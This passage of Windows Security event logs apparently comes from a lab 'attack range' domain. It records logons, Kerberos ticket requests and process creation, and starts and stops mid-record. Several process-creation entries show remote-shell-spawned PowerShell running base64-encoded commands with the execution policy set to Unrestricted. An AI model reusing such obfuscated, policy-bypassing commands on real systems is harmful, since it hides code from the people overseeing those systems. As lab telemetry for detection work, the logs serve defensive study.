UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257525 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x278 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa10 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257524 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524A48 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257523 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x524A48 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257522 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257521 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6C86D9A5-9DAD-28A0-E4D0-FA5D27BD7DBA} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257520 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257519 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa10 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257518 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Process Information: - New Process ID: 0xa10 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257517 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd14 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257516 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257567 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x523E6F - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa4c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x778 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257566 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5289ED - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257565 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5289ED - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257564 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {2F23D543-7F08-17EB-FFBA-BA61AD0AD08E} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257563 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: 